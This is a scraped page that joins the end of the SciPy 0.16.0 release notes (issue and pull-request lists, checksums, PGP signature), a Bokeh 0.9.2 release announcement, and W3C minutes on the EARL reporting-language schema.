Thakral + * Helmut Toplitzer + * Fukumu Tsutsumi + * Anastasiia Tsyplia + * Jacob Vanderplas * Pauli Virtanen * Matteo Visconti + * Warren Weckesser * Florian Wilhelm + * Nathan Woods * Haochen Wu + * Daan Wynen + A total of 93 people contributed to this release. People with a "+" by their names contributed a patch for the first time. This list of names is automatically generated, and may not be fully complete. Issues closed for 0.16.0 - ------------------------ - - `#1063 <
>`__: Implement a whishart distribution (Trac #536) - - `#1885 <
>`__: Rbf: floating point warnings - possible bug (Trac #1360) - - `#2020 <
>`__: Rbf default epsilon too large (Trac #1495) - - `#2325 <
>`__: extending distributions, hypergeom, to degenerate cases (Trac... - - `#3502 <
>`__: [ENH] linalg.hessenberg should use ORGHR for calc_q=True - - `#3603 <
>`__: Passing array as window into signal.resample() fails - - `#3675 <
>`__: Intermittent failures for signal.slepian on Windows - - `#3742 <
>`__: Pchipinterpolator inconvenient as ppoly - - `#3786 <
>`__: add procrustes? - - `#3798 <
>`__: scipy.io.savemat fails for empty dicts - - `#3975 <
>`__: Use RandomState in scipy.stats - - `#4022 <
>`__: savemat incorrectly saves logical arrays - - `#4028 <
>`__: scipy.stats.geom.logpmf(1,1) returns nan. The correct value is... - - `#4030 <
>`__: simplify scipy.stats.betaprime.cdf - - `#4031 <
>`__: improve accuracy of scipy.stats.gompertz distribution for small... - - `#4033 <
>`__: improve accuracy of scipy.stats.lomax distribution for small... - - `#4034 <
>`__: improve accuracy of scipy.stats.rayleigh distribution for large... - - `#4035 <
>`__: improve accuracy of scipy.stats.truncexpon distribution for small... - - `#4081 <
>`__: Error when reading matlab file: buffer is too small for requested... - - `#4100 <
>`__: Why does qr(a, lwork=0) not fail? - - `#4134 <
>`__: scipy.stats: rv_frozen has no expect() method - - `#4204 <
>`__: Please add docstring to scipy.optimize.RootResults - - `#4206 <
>`__: Wrap LAPACK tridiagonal solve routine `gtsv` - - `#4208 <
>`__: Empty sparse matrices written to MAT file cannot be read by MATLAB - - `#4217 <
>`__: use a TravisCI configuration with numpy built with NPY_RELAXED_STRIDES_CHECKING=1 - - `#4282 <
>`__: integrate.odeint raises an exception when full_output=1 and the... - - `#4301 <
>`__: scipy and numpy version names do not follow pep 440 - - `#4355 <
>`__: PPoly.antiderivative() produces incorrect output - - `#4391 <
>`__: spsolve becomes extremely slow with large b matrix - - `#4393 <
>`__: Documentation glitsch in sparse.linalg.spilu - - `#4408 <
>`__: Vector-valued constraints in minimize() et al - - `#4412 <
>`__: Documentation of scipy.signal.cwt error - - `#4428 <
>`__: dok.__setitem__ problem with negative indices - - `#4434 <
>`__: Incomplete documentation for sparse.linalg.spsolve - - `#4438 <
>`__: linprog() documentation example wrong - - `#4445 <
>`__: Typo in scipy.special.expit doc - - `#4467 <
>`__: Documentation Error in scipy.optimize options for TNC - - `#4492 <
>`__: solve_toeplitz benchmark is bitrotting already - - `#4506 <
>`__: lobpcg/sparse performance regression Jun 2014? - - `#4520 <
>`__: g77_abi_wrappers needed on Linux for MKL as well - - `#4521 <
>`__: Broken check in uses_mkl for newer versions of the library - - `#4523 <
>`__: rbf with gaussian kernel seems to produce more noise than original... - - `#4526 <
>`__: error in site documentation for poisson.pmf() method - - `#4527 <
>`__: KDTree example doesn't work in Python 3 - - `#4550 <
>`__: `scipy.stats.mode` - UnboundLocalError on empty sequence - - `#4554 <
>`__: filter out convergence warnings in optimization tests - - `#4565 <
>`__: odeint messages - - `#4569 <
>`__: remez: "ValueError: Failure to converge after 25 iterations.... - - `#4582 <
>`__: DOC: optimize: _minimize_scalar_brent does not have a disp option - - `#4585 <
>`__: DOC: Erroneous latex-related characters in tutorial. - - `#4590 <
>`__: sparse.linalg.svds should throw an exception if which not in... - - `#4594 <
>`__: scipy.optimize.linprog IndexError when a callback is providen - - `#4596 <
>`__: scipy.linalg.block_diag misbehavior with empty array inputs (v0.13.3) - - `#4599 <
>`__: scipy.integrate.nquad should call _OptFunc when called with only... - - `#4612 <
>`__: Crash in signal.lfilter on nd input with wrong shaped zi - - `#4613 <
>`__: scipy.io.readsav error on reading sav file - - `#4673 <
>`__: scipy.interpolate.RectBivariateSpline construction locks PyQt... - - `#4681 <
>`__: Broadcasting in signal.lfilter still not quite right. - - `#4705 <
>`__: kmeans k_or_guess parameter error if guess is not square array - - `#4719 <
>`__: Build failure on 14.04.2 - - `#4724 <
>`__: GenGamma _munp function fails due to overflow - - `#4726 <
>`__: FAIL: test_cobyla.test_vector_constraints - - `#4734 <
>`__: Failing tests in stats with numpy master. - - `#4736 <
>`__: qr_update bug or incompatibility with numpy 1.10? - - `#4746 <
>`__: linprog returns solution violating equality constraint - - `#4757 <
>`__: optimize.leastsq docstring mismatch - - `#4774 <
>`__: Update contributor list for v0.16 - - `#4779 <
>`__: circmean and others do not appear in the documentation - - `#4788 <
>`__: problems with scipy sparse linalg isolve iterative.py when complex - - `#4791 <
>`__: BUG: scipy.spatial: incremental Voronoi doesn't increase size... Pull requests for 0.16.0 - ------------------------ - - `#3116 <
>`__: sparse: enhancements for DIA format - - `#3157 <
>`__: ENH: linalg: add the function 'solve_circulant' for solving a... - - `#3442 <
>`__: ENH: signal: Add Gustafsson's method as an option for the filtfilt... - - `#3679 <
>`__: WIP: fix sporadic slepian failures - - `#3680 <
>`__: Some cleanups in stats - - `#3717 <
>`__: ENH: Add second-order sections filtering - - `#3741 <
>`__: Dltisys changes - - `#3956 <
>`__: add note to scipy.signal.resample about prime sample numbers - - `#3980 <
>`__: Add check_finite flag to UnivariateSpline - - `#3996 <
>`__: MAINT: stricter linalg argument checking - - `#4001 <
>`__: BUG: numerical precision in dirichlet - - `#4012 <
>`__: ENH: linalg: Add a function to compute the inverse of a Pascal... - - `#4021 <
>`__: ENH: Cython api for lapack and blas - - `#4089 <
>`__: Fixes for various PEP8 issues. - - `#4116 <
>`__: MAINT: fitpack: trim down compiler warnings (unused labels, variables) - - `#4129 <
>`__: ENH: stats: add a random_state property to distributions - - `#4135 <
>`__: ENH: Add Wishart and inverse Wishart distributions - - `#4195 <
>`__: improve the interpolate docs - - `#4200 <
>`__: ENH: Add t-test from descriptive stats function. - - `#4202 <
>`__: Dendrogram threshold color - - `#4205 <
>`__: BLD: fix a number of Bento build warnings. - - `#4211 <
>`__: add an ufunc for the inverse Box-Cox transfrom - - `#4212 <
>`__: MRG:fix for gh-4208 - - `#4213 <
>`__: ENH: specific warning if matlab file is empty - - `#4215 <
>`__: Issue #4209: splprep documentation updated to reflect dimensional... - - `#4219 <
>`__: DOC: silence several Sphinx warnings when building the docs - - `#4223 <
>`__: MAINT: remove two redundant lines of code - - `#4226 <
>`__: try forcing the numpy rebuild with relaxed strides - - `#4228 <
>`__: BLD: some updates to Bento config files and docs. Closes gh-3978. - - `#4232 <
>`__: wrong references in the docs - - `#4242 <
>`__: DOC: change example sample spacing - - `#4245 <
>`__: Arff fixes - - `#4246 <
>`__: MAINT: C fixes - - `#4247 <
>`__: MAINT: remove some unused code - - `#4249 <
>`__: Add routines for updating QR decompositions - - `#4250 <
>`__: MAINT: Some pyflakes-driven cleanup in linalg and sparse - - `#4252 <
>`__: MAINT trim away >10 kLOC of generated C code - - `#4253 <
>`__: TST: stop shadowing ellip* tests vs boost data - - `#4254 <
>`__: MAINT: special: use NPY_PI, not M_PI - - `#4255 <
>`__: DOC: INSTALL: use Py3-compatible print syntax, and don't mention... - - `#4256 <
>`__: ENH: spatial: reimplement cdist_cosine using np.dot - - `#4258 <
>`__: BUG: io.arff #4429 #2088 - - `#4261 <
>`__: MAINT: signal: PEP8 and related style clean up. - - `#4262 <
>`__: BUG: newton_krylov() was ignoring norm_tol argument, closes #4259 - - `#4263 <
>`__: MAINT: clean up test noise and optimize tests for docstrings... - - `#4266 <
>`__: MAINT: io: Give an informative error when attempting to read... - - `#4268 <
>`__: MAINT: fftpack benchmark integer division vs true division - - `#4269 <
>`__: MAINT: avoid shadowing the eigvals function - - `#4272 <
>`__: BUG: sparse: Fix bench_sparse.py - - `#4276 <
>`__: DOC: remove confusing parts of the documentation related to writing... - - `#4281 <
>`__: Sparse matrix multiplication: only convert array if needed (with... - - `#4284 <
>`__: BUG: integrate: odeint crashed when the integration time was... - - `#4286 <
>`__: MRG: fix matlab output type of logical array - - `#4287 <
>`__: DEP: deprecate stats.pdf_fromgamma. Closes gh-699. - - `#4291 <
>`__: DOC: linalg: fix layout in cholesky_banded docstring - - `#4292 <
>`__: BUG: allow empty dict as proxy for empty struct - - `#4293 <
>`__: MAINT: != -> not_equal in hamming distance implementation - - `#4295 <
>`__: Pole placement - - `#4296 <
>`__: MAINT: some cleanups in tests of several modules - - `#4302 <
>`__: ENH: Solve toeplitz linear systems - - `#4306 <
>`__: Add benchmark for conjugate gradient solver. - - `#4307 <
>`__: BLD: PEP 440 - - `#4310 <
>`__: BUG: make stats.geom.logpmf(1,1) return 0.0 instead of nan - - `#4311 <
>`__: TST: restore a test that uses slogdet now that we have dropped... - - `#4313 <
>`__: Some minor fixes for stats.wishart addition. - - `#4315 <
>`__: MAINT: drop numpy 1.5 compatibility code in sparse matrix tests - - `#4318 <
>`__: ENH: Add random_state to multivariate distributions - - `#4319 <
>`__: MAINT: fix hamming distance regression for exotic arrays, with... - - `#4320 <
>`__: TST: a few changes like self.assertTrue(x == y, message) -> assert_equal(x,... - - `#4321 <
>`__: TST: more changes like self.assertTrue(x == y, message) -> assert_equal(x,... - - `#4322 <
>`__: TST: in test_signaltools, changes like self.assertTrue(x == y,... - - `#4323 <
>`__: MAINT: clean up benchmarks so they can all be run as single files. - - `#4324 <
>`__: Add more detailed committer guidelines, update MAINTAINERS.txt - - `#4326 <
>`__: TST: use numpy.testing in test_hierarchy.py - - `#4329 <
>`__: MAINT: stats: rename check_random_state test function - - `#4330 <
>`__: Update distance tests - - `#4333 <
>`__: MAINT: import comb, factorial from scipy.special, not scipy.misc - - `#4338 <
>`__: TST: more conversions from nose to numpy.testing - - `#4339 <
>`__: MAINT: remove the deprecated all_mat function from special_matrices.py - - `#4340 <
>`__: add several features to frozen distributions - - `#4344 <
>`__: BUG: Fix/test invalid lwork param in qr - - `#4345 <
>`__: Fix test noise visible with Python 3.x - - `#4347 <
>`__: Remove deprecated blas/lapack imports, rename lib to _lib - - `#4349 <
>`__: DOC: add a nontrivial example to stats.binned_statistic. - - `#4350 <
>`__: MAINT: remove optimize.anneal for 0.16.0 (was deprecated in 0.14.0). - - `#4351 <
>`__: MAINT: fix usage of deprecated Numpy C API in optimize... - - `#4352 <
>`__: MAINT: fix a number of special test failures - - `#4353 <
>`__: implement cdf for betaprime distribution - - `#4357 <
>`__: BUG: piecewise polynomial antiderivative - - `#4358 <
>`__: BUG: integrate: fix handling of banded Jacobians in odeint, plus... - - `#4359 <
>`__: MAINT: remove a code path taken for Python version < 2.5 - - `#4360 <
>`__: MAINT: stats.mstats: Remove some unused variables (thanks, pyflakes). - - `#4362 <
>`__: Removed erroneous reference to smoothing parameter #4072 - - `#4363 <
>`__: MAINT: interpolate: clean up in fitpack.py - - `#4364 <
>`__: MAINT: lib: don't export "partial" from decorator - - `#4365 <
>`__: svdvals now returns a length-0 sequence of singular values given... - - `#4367 <
>`__: DOC: slightly improve TeX rendering of wishart/invwishart docstring - - `#4373 <
>`__: ENH: wrap gtsv and ptsv for solve_banded and solveh_banded. - - `#4374 <
>`__: ENH: Enhancements to spatial.cKDTree - - `#4376 <
>`__: BF: fix reading off-spec matlab logical sparse - - `#4377 <
>`__: MAINT: integrate: Clean up some Fortran test code. - - `#4378 <
>`__: MAINT: fix usage of deprecated Numpy C API in signal - - `#4380 <
>`__: MAINT: scipy.optimize, removing further anneal references - - `#4381 <
>`__: ENH: Make DCT and DST accept int and complex types like fft - - `#4392 <
>`__: ENH: optimize: add DF-SANE nonlinear derivative-free solver - - `#4394 <
>`__: Make reordering algorithms 64-bit clean - - `#4396 <
>`__: BUG: bundle cblas.h in Accelerate ABI wrappers to enable compilation... - - `#4398 <
>`__: FIX pdist bug where wminkowski's w.dtype != double - - `#4402 <
>`__: BUG: fix stat.hypergeom argcheck - - `#4404 <
>`__: MAINT: Fill in the full symmetric squareform in the C loop - - `#4405 <
>`__: BUG: avoid X += X.T (refs #4401) - - `#4407 <
>`__: improved accuracy of gompertz distribution for small x - - `#4414 <
>`__: DOC:fix error in scipy.signal.cwt documentation. - - `#4415 <
>`__: ENH: Improve accuracy of lomax for small x. - - `#4416 <
>`__: DOC: correct a parameter name in docstring of SuperLU.solve.... - - `#4419 <
>`__: Restore scipy.linalg.calc_lwork also in master - - `#4420 <
>`__: fix a performance issue with a sparse solver - - `#4423 <
>`__: ENH: improve rayleigh accuracy for large x. - - `#4424 <
>`__: BUG: optimize.minimize: fix overflow issue with integer x0 input. - - `#4425 <
>`__: ENH: Improve accuracy of truncexpon for small x - - `#4426 <
>`__: ENH: improve rayleigh accuracy for large x. - - `#4427 <
>`__: MAINT: optimize: cleanup of TNC code - - `#4429 <
>`__: BLD: fix build failure with numpy 1.7.x and 1.8.x. - - `#4430 <
>`__: BUG: fix a sparse.dok_matrix set/get copy-paste bug - - `#4433 <
>`__: Update _minimize.py - - `#4435 <
>`__: ENH: release GIL around batch distance computations - - `#4436 <
>`__: Fixed incomplete documentation for spsolve - - `#4439 <
>`__: MAINT: integrate: Some clean up in the tests. - - `#4440 <
>`__: Fast permutation t-test - - `#4442 <
>`__: DOC: optimize: fix wrong result in docstring - - `#4447 <
>`__: DOC: signal: Some additional documentation to go along with the... - - `#4448 <
>`__: DOC: tweak the docstring of lapack.linalg module - - `#4449 <
>`__: fix a typo in the expit docstring - - `#4451 <
>`__: ENH: vectorize distance loops with gcc - - `#4456 <
>`__: MAINT: don't fail large data tests on MemoryError - - `#4461 <
>`__: CI: use travis_retry to deal with network timeouts - - `#4462 <
>`__: DOC: rationalize minimize() et al. documentation - - `#4470 <
>`__: MAINT: sparse: inherit dok_matrix.toarray from spmatrix - - `#4473 <
>`__: BUG: signal: Fix validation of the zi shape in sosfilt. - - `#4475 <
>`__: BLD: setup.py: update min numpy version and support "setup.py... - - `#4481 <
>`__: ENH: add a new linalg special matrix: the Helmert matrix - - `#4485 <
>`__: MRG: some changes to allow reading bad mat files - - `#4490 <
>`__: [ENH] linalg.hessenberg: use orghr - rebase - - `#4491 <
>`__: ENH: linalg: Adding wrapper for potentially useful LAPACK function... - - `#4493 <
>`__: BENCH: the solve_toeplitz benchmark used outdated syntax and... - - `#4494 <
>`__: MAINT: stats: remove duplicated code - - `#4496 <
>`__: References added for watershed_ift algorithm - - `#4499 <
>`__: DOC: reshuffle stats distributions documentation - - `#4501 <
>`__: Replace benchmark suite with airspeed velocity - - `#4502 <
>`__: SLSQP should strictly satisfy bound constraints - - `#4503 <
>`__: DOC: forward port 0.15.x release notes and update author name... - - `#4504 <
>`__: ENH: option to avoid computing possibly unused svd matrix - - `#4505 <
>`__: Rebase of PR 3303 (sparse matrix norms) - - `#4507 <
>`__: MAINT: fix lobpcg performance regression - - `#4509 <
>`__: DOC: sparse: replace dead link - - `#4511 <
>`__: Fixed differential evolution bug - - `#4512 <
>`__: Change to fully PEP440 compliant dev version numbers (always... - - `#4525 <
>`__: made tiny style corrections (pep8) - - `#4533 <
>`__: Add exponentially modified gaussian distribution (scipy.stats.expongauss) - - `#4534 <
>`__: MAINT: benchmarks: make benchmark suite importable on all scipy... - - `#4535 <
>`__: BUG: Changed zip() to list(zip()) so that it could work in Python... - - `#4536 <
>`__: Follow up to pr 4348 (exponential window) - - `#4540 <
>`__: ENH: spatial: Add procrustes analysis - - `#4541 <
>`__: Bench fixes - - `#4542 <
>`__: TST: NumpyVersion dev -> dev0 - - `#4543 <
>`__: BUG: Overflow in savgol_coeffs - - `#4544 <
>`__: pep8 fixes for stats - - `#4546 <
>`__: MAINT: use reduction axis arguments in one-norm estimation - - `#4549 <
>`__: ENH : Added group_delay to scipy.signal - - `#4553 <
>`__: ENH: Significantly faster moment function - - `#4556 <
>`__: DOC: document the changes of the sparse.linalg.svds (optional... - - `#4559 <
>`__: DOC: stats: describe loc and scale parameters in the docstring... - - `#4563 <
>`__: ENH: rewrite of stats.ppcc_plot - - `#4564 <
>`__: Be more (or less) forgiving when user passes +-inf instead of... - - `#4566 <
>`__: DEP: remove a bunch of deprecated function from scipy.stats,... - - `#4570 <
>`__: MNT: Suppress LineSearchWarning's in scipy.optimize tests - - `#4572 <
>`__: ENH: Extract inverse hessian information from L-BFGS-B - - `#4576 <
>`__: ENH: Split signal.lti into subclasses, part of #2912 - - `#4578 <
>`__: MNT: Reconcile docstrings and function signatures - - `#4581 <
>`__: Fix build with Intel MKL on Linux - - `#4583 <
>`__: DOC: optimize: remove references to unused disp kwarg - - `#4584 <
>`__: ENH: scipy.signal - Tukey window - - `#4587 <
>`__: Hermite asymptotic - - `#4593 <
>`__: DOC - add example to RegularGridInterpolator - - `#4595 <
>`__: DOC: Fix erroneous latex characters in tutorial/optimize. - - `#4600 <
>`__: Add return codes to optimize.tnc docs - - `#4603 <
>`__: ENH: Wrap LAPACK ``*lange`` functions for matrix norms - - `#4604 <
>`__: scipy.stats: generalized normal distribution - - `#4609 <
>`__: MAINT: interpolate: fix a few inconsistencies between docstrings... - - `#4610 <
>`__: MAINT: make runtest.py --bench-compare use asv continuous and... - - `#4611 <
>`__: DOC: stats: explain rice scaling; add a note to the tutorial... - - `#4614 <
>`__: BUG: lfilter, the size of zi was not checked correctly for nd... - - `#4617 <
>`__: MAINT: integrate: Clean the C code behind odeint. - - `#4618 <
>`__: FIX: Raise error when window length != data length - - `#4619 <
>`__: Issue #4550: `scipy.stats.mode` - UnboundLocalError on empty... - - `#4620 <
>`__: Fixed a problem (#4590) with svds accepting wrong eigenvalue... - - `#4621 <
>`__: Speed up special.ai_zeros/bi_zeros by 10x - - `#4623 <
>`__: MAINT: some tweaks to spatial.procrustes (private file, html... - - `#4628 <
>`__: Speed up signal.lfilter and add a convolution path for FIR filters - - `#4629 <
>`__: Bug: integrate.nquad; resolve issue #4599 - - `#4631 <
>`__: MAINT: integrate: Remove unused variables in a Fortran test function. - - `#4633 <
>`__: MAINT: Fix convergence message for remez - - `#4635 <
>`__: PEP8: indentation (so that pep8 bot does not complain) - - `#4637 <
>`__: MAINT: generalize a sign function to do the right thing for complex... - - `#4639 <
>`__: Amended typo in apple_sgemv_fix.c - - `#4642 <
>`__: MAINT: use lapack for scipy.linalg.norm - - `#4643 <
>`__: RBF default epsilon too large 2020 - - `#4646 <
>`__: Added atleast_1d around poly in invres and invresz - - `#4647 <
>`__: fix doc pdf build - - `#4648 <
>`__: BUG: Fixes #4408: Vector-valued constraints in minimize() et... - - `#4649 <
>`__: Vonmisesfix - - `#4650 <
>`__: Signal example clean up in Tukey and place_poles - - `#4652 <
>`__: DOC: Fix the error in convolve for same mode - - `#4653 <
>`__: improve erf performance - - `#4655 <
>`__: DEP: deprecate scipy.stats.histogram2 in favour of np.histogram2d - - `#4656 <
>`__: DEP: deprecate scipy.stats.signaltonoise - - `#4660 <
>`__: Avoid extra copy for sparse compressed [:, seq] and [seq, :]... - - `#4661 <
>`__: Clean, rebase of #4478, adding ?gelsy and ?gelsd wrappers - - `#4662 <
>`__: MAINT: Correct odeint messages - - `#4664 <
>`__: Update _monotone.py - - `#4672 <
>`__: fix behavior of scipy.linalg.block_diag for empty input - - `#4675 <
>`__: Fix lsim - - `#4676 <
>`__: Added missing colon to :math: directive in docstring. - - `#4679 <
>`__: ENH: sparse randn - - `#4682 <
>`__: ENH: scipy.signal - Addition of CSD, coherence; Enhancement of... - - `#4684 <
>`__: BUG: various errors in weight calculations in orthogonal.py - - `#4685 <
>`__: BUG: Fixes #4594: optimize.linprog IndexError when a callback... - - `#4686 <
>`__: MAINT: cluster: Clean up duplicated exception raising code. - - `#4688 <
>`__: Improve is_distance_dm exception message - - `#4692 <
>`__: MAINT: stats: Simplify the calculation in tukeylambda._ppf - - `#4693 <
>`__: ENH: added functionality to handle scalars in `stats._chk_asarray` - - `#4694 <
>`__: Vectorization of Anderson-Darling computations. - - `#4696 <
>`__: Fix singleton expansion in lfilter. - - `#4698 <
>`__: MAINT: quiet warnings from cephes. - - `#4701 <
>`__: add Bpoly.antiderivatives / integrals - - `#4703 <
>`__: Add citation of published paper - - `#4706 <
>`__: MAINT: special: avoid out-of-bounds access in specfun - - `#4707 <
>`__: MAINT: fix issues with np.matrix as input to functions related... - - `#4709 <
>`__: ENH: `scipy.stats` now returns namedtuples. - - `#4710 <
>`__: scipy.io.idl: make reader more robust to missing variables in... - - `#4711 <
>`__: Fix crash for unknown chunks at the end of file - - `#4712 <
>`__: Reduce onenormest memory usage - - `#4713 <
>`__: MAINT: interpolate: no need to pass dtype around if it can be... - - `#4714 <
>`__: BENCH: Add benchmarks for stats module - - `#4715 <
>`__: MAINT: polish signal.place_poles and signal/test_ltisys.py - - `#4716 <
>`__: DEP: deprecate mstats.signaltonoise ... - - `#4717 <
>`__: MAINT: basinhopping: fix error in tests, silence /0 warning,... - - `#4718 <
>`__: ENH: stats: can specify f-shapes to fix in fitting by name - - `#4721 <
>`__: Document that imresize converts the input to a PIL image - - `#4722 <
>`__: MAINT: PyArray_BASE is not an lvalue unless the deprecated API... - - `#4725 <
>`__: Fix gengamma _nump failure - - `#4728 <
>`__: DOC: add poch to the list of scipy special function descriptions - - `#4735 <
>`__: MAINT: stats: avoid (a spurious) division-by-zero in skew - - `#4738 <
>`__: TST: silence runtime warnings for some corner cases in `stats`... - - `#4739 <
>`__: BLD: try to build numpy instead of using the one on TravisCI - - `#4740 <
>`__: DOC: Update some docstrings with 'versionadded'. - - `#4742 <
>`__: BLD: make sure that relaxed strides checking is in effect on... - - `#4750 <
>`__: DOC: special: TeX typesetting of rel_entr, kl_div and pseudo_huber - - `#4751 <
>`__: BENCH: add sparse null slice benchmark - - `#4753 <
>`__: BUG: Fixed compilation with recent Cython versions. - - `#4756 <
>`__: BUG: Fixes #4733: optimize.brute finish option is not compatible... - - `#4758 <
>`__: DOC: optimize.leastsq default maxfev clarification - - `#4759 <
>`__: improved stats mle fit - - `#4760 <
>`__: MAINT: count bfgs updates more carefully - - `#4762 <
>`__: BUGS: Fixes #4746 and #4594: linprog returns solution violating... - - `#4763 <
>`__: fix small linprog bugs - - `#4766 <
>`__: BENCH: add signal.lsim benchmark - - `#4768 <
>`__: fix python syntax errors in docstring examples - - `#4769 <
>`__: Fixes #4726: test_cobyla.test_vector_constraints - - `#4770 <
>`__: Mark FITPACK functions as thread safe. - - `#4771 <
>`__: edited scipy/stats/stats.py to fix doctest for fisher_exact - - `#4773 <
>`__: DOC: update 0.16.0 release notes. - - `#4775 <
>`__: DOC: linalg: add funm_psd as a docstring example - - `#4778 <
>`__: Use a dictionary for function name synonyms - - `#4780 <
>`__: Include apparently-forgotten functions in docs - - `#4783 <
>`__: Added many missing special functions to docs - - `#4784 <
>`__: add an axis attribute to PPoly and friends - - `#4785 <
>`__: Brief note about origin of Lena image - - `#4786 <
>`__: DOC: reformat the Methods section of the KDE docstring - - `#4787 <
>`__: Add rice cdf and ppf. - - `#4792 <
>`__: CI: add a kludge for detecting test failures which try to disguise... - - `#4795 <
>`__: Make refguide_check smarter about false positives - - `#4797 <
>`__: BUG/TST: numpoints not updated for incremental Voronoi - - `#4799 <
>`__: BUG: spatial: Fix a couple edge cases for the Mahalanobis metric... - - `#4801 <
>`__: BUG: Fix TypeError in scipy.optimize._trust-region.py when disp=True. - - `#4803 <
>`__: Issues with relaxed strides in QR updating routines - - `#4806 <
>`__: MAINT: use an informed initial guess for cauchy fit - - `#4810 <
>`__: PEP8ify codata.py - - `#4812 <
>`__: BUG: Relaxed strides cleanup in decomp_update.pyx.in - - `#4820 <
>`__: BLD: update Bento build for sgemv fix and install cython blas/lapack... - - `#4823 <
>`__: ENH: scipy.signal - Addition of spectrogram function - - `#4827 <
>`__: DOC: add csd and coherence to __init__.py - - `#4833 <
>`__: BLD: fix issue in linalg ``*lange`` wrappers for g77 builds. - - `#4841 <
>`__: TST: fix test failures in scipy.special with mingw32 due to test... - - `#4842 <
>`__: DOC: update site.cfg.example. Mostly taken over from Numpy - - `#4845 <
>`__: BUG: signal: Make spectrogram's return values order match the... - - `#4849 <
>`__: DOC:Fix error in ode docstring example - - `#4856 <
>`__: BUG: fix typo causing memleak Checksums ========= MD5 ~~~ 1c6faa58d12c7b642e64a44b57c311c3 scipy-0.16.0-win32-superpack-python2.7.exe 18b9b53af7216ab897495cc77068285b scipy-0.16.0-win32-superpack-python3.3.exe 9cef8bc882e21854791ec80140258bc9 scipy-0.16.0-win32-superpack-python3.4.exe eb95dda0f36cc3096673993a350cde77 scipy-0.16.0.tar.gz fe1425745ab68d9d4ccaf59e854f1c28 scipy-0.16.0.tar.xz 1764bd452a72698b968ad13e51e28053 scipy-0.16.0.zip SHA256 ~~~~~~ b752366fafa3fddb96352d7b3259f7b3e58fae9f45d5a98eb91bd80005d75dfc scipy-0.16.0-win32-superpack-python2.7.exe 369777d27da760d498a9312696235ab9e90359d9f4e02347669cbf56a42312a8 scipy-0.16.0-win32-superpack-python3.3.exe bcd480ce8e8289942e57e7868d07e9a35982bc30a79150006ad085ce4c06803e scipy-0.16.0-win32-superpack-python3.4.exe 92592f40097098f3fdbe7f5855d535b29bb16719c2bb59c728bce5e7a28790e0 scipy-0.16.0.tar.gz e27f5cfa985cb1253e15aaeddc3dcd512d6853b05e84454f7f43b53b35514071 scipy-0.16.0.tar.xz c9758971df994d238a4d0ff1d47ba5b02f1cb402d6e1925c921a452bc430a3d5 scipy-0.16.0.zip -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQEcBAEBAgAGBQJVspIaAAoJEO2+o3i/Gl69n3cIAJdoEGIq/8MTsywYL6k5zsqA aBK1Q9aB4qJcCLwM6ULKErxhY9lROzgljSvl22dCaD7YYYgD4Q03+BaXjIrHenbc +sX5CzBPoz+BFjh7tTnfU5a6pVhqjQbW17A0TF0j6jah29pFnM2Xdf3zgHc+3f/B U6JC698wDKROGlvKqWcwKcs2+EPBuu92gNa/rRCmMdnt9dIqVM8+otRNMgPVCZ+R SgfneSGjZ4vXuBK3zWgcP0+r8Ek0DkUuFhEAK3W8NhEFCqd1kHkdvN+RIl6pGfHZ OAHbzds6+VHgvQ3a4g2efJY3CD0LvtOgeS3R3NdmT3gCxkJtZpHAsczFhwKIWHM= =QZFz -----END PGP SIGNATURE-----
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ANN: Bokeh 0.9.2 released
by Damian Avila
24 Jul '15
24 Jul '15
Hi all, On behalf of the Bokeh team, I am excited to announce the release of version 0.9.2 of Bokeh, an interactive web plotting library for Python... and other languages! This release focused mainly in provide several bugfixes over our last 0.9.1 release bugs. Additionally, we also updated the MPL compatibility layer. You should expect some more point releases before 0.10.0 which is in active development in a separate branch. Some of the highlights are: * Several nan-related fixes including the slow rendering of plots * Removed some unused dependencies * Fixes in our automated release process * Fixed the patchs vanishing on selection * More control over ticks and gridlines * MPL compatibility updated * Several examples updated See the CHANGELOG <
> for full details. If you are using Anaconda/miniconda, you can install it with conda: *conda install bokeh* or directly from our Binstar main channel with: *conda install -c bokeh bokeh* Alternatively, you can also install it with pip: *pip install bokeh* If you want to use Bokeh in standalone Javascript applications, BokehJS is available by CDN at: *
*
Additionally, BokehJS is also installable with the Node Package Manager at
Issues, enhancement requests, and pull requests can be made on the Bokeh Github page:
Questions can be directed to the Bokeh mailing list: bokeh(a)continuum.io Cheers. -- *Damián Avila* *Software Developer* *@damian_avila* *davila(a)continuum.io <davila(a)continuum.io>* *+5492215345134 | cell (ARG)*
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200 | https://mail.python.org/archives/list/python-announce-list@python.org/2015/7/ | CC-MAIN-2022-27 | refinedweb | 6,254 | 57.16 |
Agenda
See also: IRC log
<shadi>
SAZ: new schema draft out now
... notifications go to WAI IG and RDF CL etc
... thanks for hard work
Daniela: hi everybody
<shadi>
JK: proposal 2 is a shorthand for having
multiple assertions; then the single properties (e.g. result and locations)
would be all the same for each subjects/tests
... you could do this compression with results without instance locations
SAZ: we don't want to propose omitting instance locations
CV: I like proposal 1, don't like grouping
CI: prefer 2, can live with 1
CR: probably prefers 1
JK: prefers 1, 2 could be dangerous
SAZ: how about not restricting in the schema (proposal 2), but in prose texts use porposal 1?
CV: too much confusion
RESOLUTION: proposal 1 (exactly one subject and test properties) agreed, have some more discussion on the mailing list
<scribe> ACTION: shadi to investigate whether using Bags or Seqs would be valid in EARL [recorded in]
<danbri> (de-lurking.... to note that rdf:Bags are very unfashionable in RDFland... and Seqs somewhat too... feel free to mail me on this... danbrickley@gmail.com)
SAZ: seems like people want to drop confidence
CR: drop it
CV: +1
SAZ: no volunteer for submitting a proposal
about confidence?
... the EIAO European project uses confidence in a very specific way
RESOLUTION: drop confidence
SAZ: cardinality for validity and instance?
JK: range of instance is a PointerCollection; is it necessary to have multiple instance properties?
SAZ: pointers in PointerCollection are all about the same location
<shadi>
SAZ: proposal: exactly one validity
... no objections
RESOLUTION: exactly one validity property for TestResult
SAZ: Software does not always act like a foaf:Agent
RESOLUTION: Software is standalone class (no subclass of foaf:Agent)
SAZ: how to identify objects that don't have a URI?
JK: in RDF you can create nodes for everything
SAZ: what about files on a hard disk?
CV: use WebContent
SAZ: isn't WebContent only for something to be found on the WWW?
JK: rdf:about=""
... that's a URI
<shadi> <quote url="">Information on the World Wide Web.</quote>
JK: the main issue is not having a property to store the content for non-HTTP stuff
SAZ: snippet stuff? no
JK: use http:body (storing content Base64 encoded)
CV: move the body property into another
namespace for use in EARL and HTTP-in-RDF
... rename WebContent to Content
... or clarify the meaning to include not only WWW content
<scribe> ACTION: shadi to send to list for discussing the testing of local stuff on list and next week [recorded in] | http://www.w3.org/2006/09/27-er-minutes | CC-MAIN-2015-32 | refinedweb | 430 | 51.68 |
